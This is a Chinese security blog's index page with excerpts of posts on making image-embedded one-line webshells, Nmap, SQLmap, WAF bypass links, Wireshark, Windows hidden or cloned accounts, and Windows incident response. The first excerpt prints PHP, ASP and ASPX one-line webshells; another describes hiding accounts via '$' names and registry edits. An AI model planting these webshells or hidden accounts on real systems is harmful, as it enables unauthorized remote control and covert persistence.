Kyl2n的博客

原创 一句话木马图片制作

常见一句话木马：php的一句话木马： <?php @eval($_POST['pass']);?>asp的一句话是： <%eval request (“pass”)%>aspx的一句话是： <%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%>使用工具：一台能使用cmd命令的电脑步骤1：在记事本中加入一句话木马，保存。如：a.txt准备一张图片（文件大小

原创 Nmap手册（转自http://www.nmap.com.cn/doc/manual.shtm）

译注该Nmap参考指南中文版由Fei Yang fyang1024@gmail.com和Lei Lililei_721@6611.org 从英文版本翻译而来。 我们希望这将使全世界使用中文的人们更了解Nmap，但我们不能保证该译本和官方的 英文版本一样完整，也不能保证同步更新。 它可以在Creative Commons Attribution License下被修改并重新发布。选项概要当Nmap不带选项运行时，该选项概要会被输出，最新的版本在这里 http://www.insecure.org/nma

原创 网站访问测试

···import requestsurl_result_success=[]url_result_failed=[]with open(‘C:\Users\hys2500\Desktop\site.txt’, ‘r’) as f:for i in f.readlines():try:response = requests.get(i.strip(), verify=False, allow_redirects=True, timeout=5)if response.status_code

原创 https://blog.51cto.com/professor/1701977https://blog.51cto.com/professor/1701977

https://blog.51cto.com/professor/1701977

原创 http慢放

https://www.cnblogs.com/endust/p/11960901.html

原创 wireshark 抓包

https://blog.51cto.com/laoyinga/1767613https://www.cnblogs.com/nmap/p/6291683.html

原创 wireshark抓包

https://blog.51cto.com/laoyinga/1767613

原创 负载均衡

转载：https://kb.cnblogs.com/page/188170/

原创 dddd

原创 WAF绕过

转自：https://www.cnblogs.com/milantgh/p/4265653.html

原创 SQLmap使用

转：https://www.cnblogs.com/hongfei/p/3872156.html

原创 http请求报文知识

转自：https://www.cnblogs.com/lmh001/p/9928517.html

原创 linux查看命令

查看命令学习cat：由第一行开始显示文件内容配合参数：-b ：列出行号，仅针对非空白行做行号显示，空白行不标行号-E：将结尾的断行字符$显示出来--n：显示行数，但是空白行也标行号，与-b 有细微差异-v：列出一些看不出的特殊字符tac：从最后一行开始显示nl：不需要参数，自带显示行数技能head：只看前几行 配合 -n 参数 ...

原创 windows克隆账户

**创建隐藏账户**一、 在命令行下隐藏的账户当在命令行中创建账户时，若在用户名后加上“$”，则该账户用“net user”命令无法查看到二、 在计算机管理中隐藏的账户用上述方法在命令行中创建的账户虽然做到了在命令行下的隐藏，但在“计算机管理”中依然可以看到该账户的存在我们可以对注册表进行相应处理以达到在“计算机管理”中隐藏账户的目的。在注册表下分别将“abc”项及与其相应的“0...

原创 windows应急响应

前言：排查思路：一、可疑账户普通账户查询克隆账户：复制管理员账户F项值，拥有管理员相同权限及界面的伪装用户二、可疑连接三、自启动项四、计划任务五、资源使用情况...